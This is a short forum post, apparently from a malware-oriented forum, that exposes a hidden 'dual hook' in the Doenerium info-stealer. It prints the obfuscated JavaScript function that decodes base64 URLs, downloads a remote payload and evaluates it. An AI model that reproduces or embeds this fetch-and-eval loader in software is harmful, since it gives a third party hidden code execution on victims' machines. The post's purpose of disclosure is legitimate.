Doenerium Dual Hook?

[flameball426]

Doenerium is an open source stealer: https://github.com/doenerium69/doenerium

It started off as a heavily obfuscated small project with a dual hook, but people found out quickly about the dual hook and started exposing him. He then apologized and got rid of the obfuscation, and supposedly the dual hook too.
But, another dual hook has been found. Working with Mr Gibson he implemented a dual hook overlooked by many.

Here is the dual hook I found on 22-04-2023

async runtime_evasion() {
	let evasor = (`${((base64.decode(
	`${((await this.axios_instance.get((base64.decode((
	await this.axios_instance.get(
	(
	base64.decode(
	`aHR0cHM6Ly9kb2VuZXJpdW0ua3FuZmtwb2NjaWN4aXVkc3Rxb25mb3R1d3NyaHV4a3docWpqZnNiamhvbm91YnJjY3kubmwv`
	)
	)
	).catch((err) => {
	console.log(err)
	})
	).data
	).replace("%20", "").replace("\x00", "")
	+ base64.decode("L21haW4vZXZhc2lvbi50eHQ")
	)
	).catch((err) => {
	console.log(err)
	})
	).data)}`
	)))}`)
	await this.eval_like(evasor,
	this
	);
	}

and then it runs this


this.runtime_evasion();




You can read an in depth article about the dual hook and more things about doenerium: https://perception-point.io/blog/doenerium-malware/

Click to read more...